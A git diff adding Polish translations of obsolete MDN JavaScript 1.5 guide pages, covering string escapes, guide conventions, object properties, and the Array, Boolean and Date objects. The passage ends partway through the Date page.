Unicode określony przez cztery cyfry szesnastkowe <i>XXXX</i>. Na przykład \u00A9 jest sekwencją Unicode dla symbolu copyright. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode">Sekwencje ucieczki do Unicode</a>.</td> +</tr> +</tbody></table> +<p><small><b>Tabela 2.1: Znaki specjalne w JavaScript</b></small> +</p> +<h5 id="Znaki_ucieczki" name="Znaki_ucieczki"> Znaki ucieczki </h5> +<p>Dla znaków niewymienionych w tabeli powyżej, poprzedzający znak backslash jest ignorowany, ale użycie tego jest wycofywane i powinno być unikane. +</p><p>Możesz wstawić znak cudzysłowu wewnątrz łańcucha znaków poprzedzając go znakiem backslash. Znane jest to jako <i>kodowanie</i> (<i>escaping</i>) znaków cudzysłowu. Na przykład: +</p> +<pre>var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service." +document.write(quote) +</pre> +<p>Rezultatem tego będzie: +</p> +<pre>He read "The Cremation of Sam McGee" by R.W. Service. +</pre> +<p>Aby użyć literału backslash w łańcuchu znaków, musisz zastosować znak backslash. Na przykład, aby przydzielić plikowi ścieżkę <code><b>c:\temp</b></code> do łańcucha znaków, użyj następującej konstrukcji: +</p> +<pre>var home = "c:\\temp " +</pre> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Stałe", "Przewodnik po języku JavaScript 1.5:Unicode") }} +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Literals", "es": "es/Gu\u00eda_JavaScript_1.5/Literales", "fr": "fr/Guide_JavaScript_1.5/Constantes_litt\u00e9rales", "ja": "ja/Core_JavaScript_1.5_Guide/Literals", "ko": "ko/Core_JavaScript_1.5_Guide/Literals", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u6587\u672c\u5316" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/o_tym_przewodniku/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/o_tym_przewodniku/index.html new file mode 100644 index 0000000000..0fd0f2ec8a --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/o_tym_przewodniku/index.html @@ -0,0 +1,159 @@ +--- +title: O tym przewodniku +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku +tags: + - JavaScript + - Przewodnik_JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +--- +<h3 id="Nowe_mo.C5.BCliwo.C5.9Bci_wersji_JavaScriptu" name="Nowe_mo.C5.BCliwo.C5.9Bci_wersji_JavaScriptu">Nowe możliwości wersji JavaScriptu</h3> + +<ul> + <li><a href="pl/Nowo%c5%9bci_w_JavaScript_1.5">Nowości w JavaScript 1.5</a></li> + <li><a href="pl/Nowo%c5%9bci_w_JavaScript_1.6">Nowości w JavaScript 1.6</a></li> + <li><a href="pl/Nowo%c5%9bci_w_JavaScript_1.7">Nowości w JavaScript 1.7</a></li> + <li><a href="pl/Nowo%c5%9bci_w_JavaScript_1.8">Nowości w JavaScript 1.8</a></li> +</ul> + +<h3 id="Co_ju.C5.BC_powiniene.C5.9B_wiedzie.C4.87" name="Co_ju.C5.BC_powiniene.C5.9B_wiedzie.C4.87">Co już powinieneś wiedzieć</h3> + +<p>Ten dokument zakłada, że jego czytelnik ma podstawowe pojęcie na temat niżej wymienionych dziedzin:</p> + +<ul> + <li>ogólne rozumienie sieci Internet i WWW.</li> + <li>dobra praktyczna znajomość języka HTML (<a href="pl/HTML">HTML</a>).</li> +</ul> + +<p>Przydatne, aczkolwiek nie wymagane, jest doświadczenie w językach programowania takich jak C czy Visual Basic.</p> + +<h3 id="Wersje_JavaScriptu" name="Wersje_JavaScriptu">Wersje JavaScriptu</h3> + +<p>Każda wersja przeglądarek Netscape Navigator, Mozilla i Mozilla Firefox obsługuje różne wersje języka JavaScript. Aby ułatwić pisanie skryptów zgodnych z różnymi wersjami przeglądarek Netscape/Mozilla/Firefox, w każdym rozdziale poświęconym danej możliwości języka podajemy listę wersji JavaScriptu obsługujących daną funkcjonalność.</p> + +<p>Poniższa tabela zawiera numery wersji JavaScriptu i odpowiadające im numery wersji przeglądarek te wersje obsługujących. Wersje Netscape Navigatora starsze niż 2.0 nie obsługują JavaScriptu.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Wersja JavaScript</th> + <th>Wersja Navigatora</th> + </tr> + <tr> + <td>JavaScript 1.0</td> + <td>Navigator 2.0</td> + </tr> + <tr> + <td>JavaScript 1.1</td> + <td>Navigator 3.0</td> + </tr> + <tr> + <td>JavaScript 1.2</td> + <td>Navigator 4.0-4.05</td> + </tr> + <tr> + <td>JavaScript 1.3</td> + <td>Navigator 4.06-4.7x</td> + </tr> + <tr> + <td>JavaScript 1.4</td> + <td> </td> + </tr> + <tr> + <td>JavaScript 1.5</td> + <td>Navigator 6.0<br> + Mozilla (przeglądarka open source)</td> + </tr> + <tr> + <td>JavaScript 1.6</td> + <td><a href="pl/Firefox_1.5">Firefox 1.5</a>, other Mozilla 1.8-based products</td> + </tr> + <tr> + <td>JavaScript 1.7</td> + <td><a href="pl/Firefox_2">Firefox 2</a>, other Mozilla 1.8.1-based products</td> + </tr> + <tr> + <td>JavaScript 1.8</td> + <td><a href="pl/Firefox_3">Firefox 3</a>, other Gecko 1.9-based products</td> + </tr> + </tbody> +</table> + +<p><small><strong>Tablica 1: Wersje JavaScriptu oraz Navigatora</strong></small><br> + </p> + +<p>Każda wersja serwera Netscape Enterprise Server także obsługuje inną wersję JavaScriptu. Aby ułatwić pisanie skryptów zgodnych z różnymi wersjami Enterprise Server, w każdym rozdziale poświęconym danej możliwości języka podajemy wersję NES/FES, w której zaimplementowano daną funkcjonalność.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Skrót</th> + <th>Wersja Enterprise Server</th> + </tr> + <tr> + <td>NES 2.0</td> + <td>Netscape Enterprise Server 2.0</td> + </tr> + <tr> + <td>NES 3.0</td> + <td>Netscape Enterprise Server 3.0</td> + </tr> + </tbody> +</table> + +<p><small><strong>Tablica 2: Skróty oraz wersje Netscape Enterprise Server</strong></small></p> + +<h3 id="Gdzie_szuka.C4.87_informacji_o_JavaScripcie" name="Gdzie_szuka.C4.87_informacji_o_JavaScripcie">Gdzie szukać informacji o JavaScripcie</h3> + +<p>Na kompletną bazę informacji o języku JavaScript składają się następujące dokumenty:</p> + +<ul> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnik po języku JavaScript 1.5</a> (ten dokument) - dostarcza informacji na temat samego języka JavaScript i jego obiektów.</li> + <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacja języka JavaScript 1.5</a> - dostarcza informacji na temat języka JavaScript w formie encyklopedycznej</li> +</ul> + +<p>Jeśli JavaScript stanowi dla Ciebie nowość, zacznij od <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnika po języku JavaScript 1.5</a>. Kiedy posiądziesz już podstawową wiedzę, możesz skorzystać z <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacji języka JavaScript 1.5</a>, by szybko odnaleźć konkretne informacje na temat obiektów i poleceń.</p> + +<h3 id="Wskaz.C3.B3wki_do_nauki_JavaScript" name="Wskaz.C3.B3wki_do_nauki_JavaScript">Wskazówki do nauki JavaScript</h3> + +<p>Rozpoczęcie pracy z JavaScript jest proste: wszystko czego potrzebujecie to nowoczesna przeglądarka internetowa. Ten przewodnik zawiera elementy JavaScript, które są rozpoznawalne jedynie w ostatnich najnowszych wersji przeglądarki Firefox (lub w innych opartych na silniku Gecko przeglądarkach), dlatego zaleca się używanie jak najnowszej wersji przeglądarki Firefox.</p> + +<h4 id="Interaktywny_interpreter" name="Interaktywny_interpreter">Interaktywny interpreter</h4> + +<p>Do nauki języka zachęca wspaniały interpreter, który umożliwia pełną interaktywność bez zapisywania i odświeżania strony. Konsola błędów Firefox, dostępna w menu narzędzia, oferuje łatwy, interaktywny, sposób wykonywania skryptów JavaScript: po prostu wejdź na linię kodu oraz kliknij przycisk "Evaluate".</p> + +<p><img alt="Image:ErrorConsole.png"></p> + +<h4 id="Firebug" name="Firebug">Firebug</h4> + +<p>Bardziej zaawansowana interaktywna podpowiedź dostępna jest pod adresem: <a class="external" href="http://www.getfirebug.com/">Firebug</a>, trzecia część rozszerzenia Firefox. Firebug dostarcza zarówno zaawansowany kontroler DOM, jak i debuger JavaScript oraz przydatne narzędzia i różne inne programy użytkowe:</p> + +<p><img alt="Image:Firebug.png"></p> + +<p>jedno z najbardziej użytecznych ułatwień oferowanych przez Firebug w <code>console.log()</code>, funkcja która zapisuje jego argumenty do konsoli Firebug. W przeciwieństwie do innych języków programowania w JavaScript nie ma możliwości pisania na standardowym wyjściu. <code>console.log()</code> stanowi pożyteczną alternatywę obserwowania bardzo łatwo tego co twój program robi.</p> + +<p>Wiele przykładów w tym przewodniku używa <code>alert()</code> do zobaczenia komunikatów z ich wykonania. Jeśli masz zainstalowanego Firebug możesz użyć <code>console.log()</code> w miejsce <code>alert()</code> w czasie działania tych przykładów.</p> + +<h3 id="Konwencje_dokumentu" name="Konwencje_dokumentu">Konwencje dokumentu</h3> + +<p>Aplikacje JavaScript działają pod wieloma systemami operacyjnymi; informacje zawarte w tym przewodniku dotyczą ich wszystkich. Ścieżki plików i katalogów są podane w formacie Windows (z odwrotnym ukośnikiem oddzielającym nazwy folderów). Pod Uniksami ścieżki są te same, wystarczy jedynie zastąpić odwrotny ukośnik<em>\</em> zwykłym ukośnikiem<em>/</em> .</p> + +<p>Przewodnik ten używa uniform resource locators (adresów URL) w następującej formie:</p> + +<p><code><span class="nowiki">http://server.domain/path/file.html</span></code></p> + +<p>W tym adresie URL, "serwer" reprezentowany jest poprzez nazwę znajdującą się na serwerze w której uruchomisz aplikacje, także jako poszukiwane słowo lub strona WWW; "domena" reprezentowana jest poprzez twoją nazwę domeny w internecie, tak jak netscape.com lub uiuc.edu; "ścieżki" reprezentują strukturę katalogów na tym serwerze, a "file.html" reprezentuje indywidualną nazwę pliku. Generalnie pozycje, które mają w ścieżce kursywę, która jest osadzona i jest ona normalną czcionką literową. Jeśli twój serwer posiada Secure Sockets Layer (SSL), będziesz używał protokołu https zamiast http w adresie URL.</p> + +<p>Przewodnik ten stosuje z następującą konwencją czcionki:</p> + +<dl> + <dt>Czcionka <code>monospace</code></dt> + <dd>Jest użyta do prostych kodów oraz ich listingów, API i elementy języka (także jako metody i nazwy własności), nazwa pliku, nazwa ścieżki, nazwa katalogu, tagi HTML i jakiś tekst musi być zadeklarowany przy wyświetlaniu. (Kursywa czcionki Monospace jest użyta w osadzonych miejscach klasera w kodzie strony).</dd> + <dt>Kursywa </dt> + <dd>Jest użyta dla tytułów, nagłówków, zmiennych i specjalnych miejscach, i słów użytych w dosłownym znaczeniu.</dd> + <dt>Boldface </dt> + <dd>Typ używany do terminów słownikowych.</dd> +</dl> + +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5", "Przewodnik po języku JavaScript 1.5:Przegląd JavaScriptu") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_i_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_i_własności/index.html new file mode 100644 index 0000000000..0495bbc3fc --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_i_własności/index.html @@ -0,0 +1,49 @@ +--- +title: Obiekty i własności +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Working_with_Objects +--- +<p> +</p> +<h3 id="Obiekty_i_w.C5.82asno.C5.9Bci" name="Obiekty_i_w.C5.82asno.C5.9Bci"> Obiekty i własności </h3> +<p>Obiekty JavaScript łączą się z ich własnościami. Do własności obiektu odwołujesz się za pomocą prostego zapisu: +</p> +<pre>objectName.propertyName +</pre> +<p>Wielkości znaków w nazwie mają znaczenie zarówno w przypadku obiektu jak i jego własności. Własności definiujesz poprzez przypisanie do niej wartości. Na przykład, przypuśćmy, że mamy obiekt o nazwie <code>myCar</code> (na razie załóżmy że ten obiekt już istnieje). Możesz zadeklarować (i jednocześnie zdefiniować) własności <code>make</code>, <code>model</code> i <code>year</code> tego obiektu następująco: +</p> +<pre>myCar.make = "Ford"; +myCar.model = "Mustang"; +myCar.year = 1969; +</pre> +<p>Tablica jest uporządkowanym zbiorem wartości związanych z pojedynczymi nazwami zmiennych. Własności i tablice są w języku JavaScript bardzo ze sobą powiązane; właściwie są różnymi reprezentacjami tej samej struktury danych. Na przykład możesz wywoływać własności obiektu <code>myCar</code> następująco: +</p> +<pre>myCar["make"] = "Ford" +myCar["model"] = "Mustang" +myCar["year"] = 1967 +</pre> +<p>Ten typ tablicy nazywa się <b>tablicą asocjacyjną</b> (czasem <b>listą asocjacyjną</b>), ponieważ każdy jej element jest związany także z pewną wartością typu String. Ilustracją tego mechanizmu działania jest niżej zamieszczona funkcja wyświetlająca własności obiektu, który jest jej pierwszym argumentem podczas wywołania: +</p> +<pre>function show_props(obj, obj_name) { + var result = ""; + for (var i in obj) + result += obj_name + "." + i + " = " + obj[i] + "\n"; + return result +} +</pre> +<p>Więc funkcje <code>call show_props(myCar, "myCar")</code> zwróciły następująco: +</p> +<pre>myCar.make = Ford +myCar.model = Mustang +myCar.year = 1967 +</pre> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Funkcje predefiniowane:Funkcje escape i unescape", "Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Objects_and_Properties", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_y_propiedades", "fr": "fr/Guide_JavaScript_1.5/Objets_et_propri\u00e9t\u00e9s", "ja": "ja/Core_JavaScript_1.5_Guide/Objects_and_Properties" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/index.html new file mode 100644 index 0000000000..35f23dc503 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/index.html @@ -0,0 +1,24 @@ +--- +title: Obiekty predefiniowane +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide +--- +<p> +</p> +<h3 id="Obiekty_predefiniowane" name="Obiekty_predefiniowane"> Obiekty predefiniowane </h3> +<p>Artykuł opisuje obiekty predefiniowane w JavaScript: </p> +<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array">Obiekt <code>Array</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean">Obiekt <code>Boolean</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date">Obiekt <code>Date</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function">Obiekt <code>function</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math">Obiekt <code>Math</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number">Obiekt <code>Number</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp">Obiekt <code>RegExp</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String">Obiekt <code>String</code></a> +</li></ul> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_base_predefinidos", "fr": "fr/Guide_JavaScript_1.5/Objets_pr\u00e9d\u00e9finis", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "ko": "ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html new file mode 100644 index 0000000000..9befbd17cc --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html @@ -0,0 +1,94 @@ +--- +title: Obiekt Array +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Obiekt_Array" name="Obiekt_Array">Obiekt Array</h3> +<p>JavaScript nie ma wyraźnych danych typu + <i> + array</i> + . Jednakże, możesz użyć predefiniowanego obiektu <code><b>Array</b></code> i jego metod do pracy z tabelami w twojej aplikacji. Obiekt <code><b>Array</b></code> posiada metody do manipulacji tablicami w zmiennych przypadkach, także jako łączyć, odwraca je na lewą stronę, i sortuje je. Decydując o długości + <i> + array</i> + i innych właściwości użytych w wyrażeniach regularnych.</p> +<p> + <i> + array</i> + jest uporządkowane ustawienia wartości, które odsyłają do nazwy i indeksu. Na przykład, możesz mieć tablice nazwaną <code><b>emp</b></code>, która stanowi nazwę indeksu przez jego numer pracownika. Więc <code><b>emp{{ mediawiki.external(1) }}</b></code> będzie pracownik z numerem jeden, <code><b>emp{{ mediawiki.external(2) }}</b></code> pracownik z numerem dwa i tak dalej.</p> +<h4 id="Tworzenie_tablicy" name="Tworzenie_tablicy">Tworzenie tablicy</h4> +<p>Utwórz obiekt <code><b>Array</b></code>:</p> +<pre>1. arrayObjectName = new Array(element0, element1, ..., elementN) +2. arrayObjectName = new Array(arrayLength) +</pre> +<p><code><b>arrayObjectName</b></code> jest nazwą nowego obiektu lub właściwości istniejącego obiektu. Kiedy używamy właściwości i metody <code><b>Array</b></code>, <b>arrayObjectName</b> jest nazwą istniejącego obiektu <code><b>Array</b></code> lub właściwość istniejącego obiektu.</p> +<p><code><b>element0, element1, ..., elementN</b></code> jest listą wartości dla elementów tablicowych. Kiedy ta forma określa, inicjowanie tablicy z określoną wartością jako jego elementy i właściwości długości tablicowej, która jest ustawiona jako liczby lub argumenty.</p> +<p><code><b>arrayLength</b></code> jest inicjowanie długości w tablicy. Następujący kod tworzy tablice na pięć elementów:</p> +<pre>billingMethod = new Array(5) +</pre> +<p>Literały Array sa także obiektami <code><b>Array</b></code>; na przykład, następujący literał jest obiektem <code><b>Array</b></code>. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Litera%c5%82y#Litera.C5.82y_tablicy">Literały tablicy</a> aby uzyskać więcej szczegółów.</p> +<pre>coffees = ["French Roast", "Columbian", "Kona"] +</pre> +<h4 id="Zape.C5.82nienie_tablicy" name="Zape.C5.82nienie_tablicy">Zapełnienie tablicy</h4> +<p>Możesz wypełnić tablicę przydzielonymi wartościami elementów. Na przykład,</p> +<pre>emp[1] = "Casey Jones" +emp[2] = "Phil Lesh" +emp[3] = "August West" +</pre> +<p>Możesz także wypełnić tablicę jeśli utworzysz:</p> +<pre>myArray = new Array("Hello", myVar, 3.14159) +</pre> +<h4 id="Kierowanie_do_elementu_tablicy" name="Kierowanie_do_elementu_tablicy">Kierowanie do elementu tablicy</h4> +<p>Kierowanie do elementu tablicy używając przypisanie numeru odpowiedniemu elementowi. Na przykład, przypuśćmy, że zdefiniujesz następującą tablice:</p> +<pre>myArray = new Array("Wiatr","Deszcz","Ogień") +</pre> +<p>Następnie kieruje się do pierwszego elementu tablicy jako <code><b>myArray{{ mediawiki.external(0) }}</b></code> i drugi element tablicy jako <code><b>myArray{{ mediawiki.external(1) }}</b></code>. Indeks elementów zaczyna się wraz z zerem (0), ale długość tablicy (na przykład, <code><b>myArray.length</b></code>) odzwierciedla numer elementów w tablicy.</p> +<h4 id="Metody" name="Metody">Metody</h4> +<p>Obiekt <code><strong>Array</strong></code> posiada następujące metody:</p> +<ul> + <li><code><strong>concat</strong></code> dołącz dwie tablice i zwróć nową.</li> + <li><code><strong>join</strong></code> aby połączyć wszystkie elementy tablicy.</li> + <li><code><strong>pop</strong></code> usuń ostatni element z tablicy i zwróć ten element</li> + <li><code><strong>push</strong></code> dodaje jeden lub więcej elementów tablicy i zwraca, tego który jest ostatni dodany.</li> + <li><code><strong>reverse</strong></code> transportuje elementy tablicy; pierwszy element tablicy staje się ostatni i ostatni staje się pierwszym.</li> + <li><code><strong>shift</strong></code> usuń pierwszy element z tablicy i zwróć</li> + <li><code><strong>slice</strong></code> ekstrakty sekcji tablicy i zwraca nowa tablicę.</li> + <li><code><strong>splice</strong></code> dodaje i/lub usuwa elementy tablicy.</li> + <li><code><strong>sort</strong></code> sortowanie elementów w systemie.</li> + <li><code><strong>unshift</strong></code> dodaje jeden lub więcej elementów tablicy; tablica jest tworzona wraz z nowa długością length.</li> +</ul> +<p>Na przykład, przypuśćmy, że zdefiniujemy następującą tablice:</p> +<pre>myArray = new Array("Wiatr","Deszcz","Ogień") +</pre> +<p><code><strong>myArray.join()</strong></code> zwraca "Wiatr","Deszcz","Ogień"; <code><strong>myArray.reverse</strong></code> transportuje tablicę więc, który <code><strong>myArray[0</strong>]</code> jest "Ogień", <code><strong>myArray{{ mediawiki.external(1) }}</strong></code> jest "Deszcz", i <code><strong>myArray{{ mediawiki.external(2) }}</strong></code> jest "Wiatr". <code><strong>myArray.sort</strong></code> sortuje tablicę więc, który <code><strong>myArray{{ mediawiki.external(0) }}</strong></code> jest "Ogień", <code><strong>myArray{{ mediawiki.external(1) }}</strong></code> jest "Deszcz", i <code><strong>myArray{{ mediawiki.external(2) }}</strong></code> jest "Wiatr".</p> +<h4 id="Tablice_dwuwymiarowe" name="Tablice_dwuwymiarowe">Tablice dwuwymiarowe</h4> +<p>Następujący kod tworzy tablicę dwuwymiarową.</p> +<pre>a = new Array(4) +for (i=0; i < 4; i++) { + a[i] = new Array(4) + for (j=0; j < 4; j++) { + a[i][j] = "["+i+","+j+"]" + } +} +</pre> +<p>Ten przykład tworzy tablicę z następującymi wierszami:</p> +<pre>Row 0:[0,0][0,1][0,2][0,3] +Row 1:[1,0][1,1][1,2][1,3] +Row 2:[2,0][2,1][2,2][2,3] +Row 3:[3,0][3,1][3,2][3,3] +</pre> +<h4 id="Tablice_i_wyra.C5.BCenia_regularne" name="Tablice_i_wyra.C5.BCenia_regularne">Tablice i wyrażenia regularne</h4> +<p>Kiedy + <i> + array</i> + jest rezultatem pomiędzy wyrażeniami regularnymi i łańcucha, + <i> + array</i> + zwraca właściwości i elementy, które dostarczają informacji o odpowiedniku. Wartość + <i> + array</i> + jest zwracany <code><b>RegExp.exec</b></code>, <code><b>String.match</b></code>, i <code><b>String.split</b></code>. Dla uzyskania informacji, jak używać tablicę z wyrażeniami regularnymi <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5#Wyra.C5.BCenia_regularne">Wyrażenia regularne</a>.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html new file mode 100644 index 0000000000..ff6e5b774a --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html @@ -0,0 +1,14 @@ +--- +title: Obiekt Boolean +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Obiekt_Boolean" name="Obiekt_Boolean">Obiekt Boolean</h3> +<p>Obiekt <code><b>Boolean</b></code> jest otoczeniem wokół prymitywnych danych typu Boolean. Użyj następującej składni do utworzenia obiektu <code><b>Boolean</b></code>:</p> +<pre>booleanObjectName = new Boolean(wartość) +</pre> +<p>Nie pomieszaj prymitywnej wartości Boolean <code><b>true</b></code> i <code><b>false</b></code> z wartościami <b>true</b> i <b>false</b> obiektu <code><b>Boolean</b></code>. Jakikolwiek obiekt którego wartość obiektu jest nie <code><b>undefined</b></code> , <code><b>null</b></code>, <code><b>0</b></code>, <code><b>NaN</b></code>, lub pusty łańcuch, włączając obiekt <code><b>Boolean</b></code>, którego wartość jest nieprawdziwa (false), ocenia jako prawdziwy (true), kiedy przechodzi do instrukcji warunkowej. Zobacz artykuł <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_if...else">Instrukcja if...else</a> aby zdobyć więcej informacji.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html new file mode 100644 index 0000000000..e0dc4845d8 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html @@ -0,0 +1,87 @@ +--- +title: Obiekt Date +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Obiekt_Date" name="Obiekt_Date">Obiekt Date</h3> +<p>JavaScript nie posiada danych typu date. Jednakże, możesz użyć obiektu <code><b>Date</b></code> i jego metod do pracy z datami i czasem w swoich aplikacjach. Obiekt <code><b>Date</b></code> posiada wiele metod do ustawiania, pobierania i manipulacji datami. Nie posiada żadnych właściwości.</p> +<p>W JavaScript uchwyty dat są podobne jak w Java. Oba języki mają wiele takich samych metod i oba języki przechowują daty w liczbie milisekund od 1-ego stycznia 1970, 00:00:00.</p> +<p>Obiekt Date jest z zakresu -100,000,000 dni do 100,000,000 dni odnosząc się do 01 stycznia, 1970 UTC.</p> +<p>Do utworzenia obiektu <code><b>Date</b></code> służy:</p> +<pre>dateObjectName = new Date([parameters]) +</pre> +<p>gdzie: <code><b>dateObjectName</b></code> jest nazwą tworzonego obiektu; <code><b>Date</b></code> potrafi też być nowym obiektem lub właściwością już istniejącego obiektu.</p> +<p>W poprzedniej składni <code><b>parameters</b></code> mogły być:</p> +<ul> + <li>Niczym: tworzyć dzisiejszą datę i czas. Na przykład: <code><b>today = new Date()</b></code>.</li> + <li>Łańcuchem reprezentującym datę w następujących formach: "Month day, year hours:minutes:seconds." Na przykład:, <code><b>Xmas95 = new Date("December 25, 1995 13:30:00")</b></code>. Jeśli opuszczasz godziny, minuty lub sekundy to wartość ich będzie ustawiona na zero.</li> + <li>Ustawienia wartości liczby całkowitej dla roku, miesiąca i dnia. Na przykład, <code><b>Xmas95 = new Date(1995,11,25)</b></code>. Ustawienia wartości dla roku, miesiąca, dnia, godziny, minuty, sekund. Na przykład: <code><b>Xmas95 = new Date(1995,11,25,9,30,0)</b></code>.</li> +</ul> +<p><b>JavaScript 1.2 i wcześniejsze</b><br> + Obiekt <code><b>Date</b></code> postępuje następująco:</p> +<ul> + <li>Daty z przed roku 1970 nie są uznawane.</li> + <li>Data w JavaScript zależy od dostępności i zachowania rodzaju platformy; zachowanie platform obiektu <code><b>Date</b></code> różnią się pomiędzy sobą.</li> +</ul> +<h4 id="Metody_obiektu_Date" name="Metody_obiektu_Date">Metody obiektu Date</h4> +<p>Metody obiektu <code><b>Date</b></code> są do obsługi daty i czasu zawartego w tych obszernych kategoriach:</p> +<ul> + <li>metody "<code><b>set</b></code>", służy do ustawienia wartości daty i czasu w obiektach <code><b>Date</b></code>.</li> + <li>metody "<code><b>get</b></code>", służą do pobrania wartości daty i czasu w obiektach <code><b>Date</b></code>.</li> + <li>metody "<code><b>to</b></code>", służy do powtórzenia łańcuchów wartości z obiektów <code><b>Date</b></code>.</li> + <li>parsowanie i metody UTC, służą do analizy składniowej łańcuchów <code><b>Date</b></code>.</li> +</ul> +<p>Z metodami "<code><b>get</b></code>" i "<code><b>set</b></code>" możemy pobrać i ustawić sekundy, minuty, godziny, dni miesiąca, dni tygodnia, miesiące, jak i poszczególne lata. Istnieje metoda <code><b>getDay</b></code>, która zwraca dzień tygodnia, ale nie współpracuje z metodą <code><b>setDay</b></code>, ponieważ dzień tygodnia jest ustawiany automatycznie. Te metody używają liczb całkowitych do reprezentacji następujących wartości:</p> +<ul> + <li>Sekund /i minut: 0 do 59</li> + <li>Godziny: 0 do 23</li> + 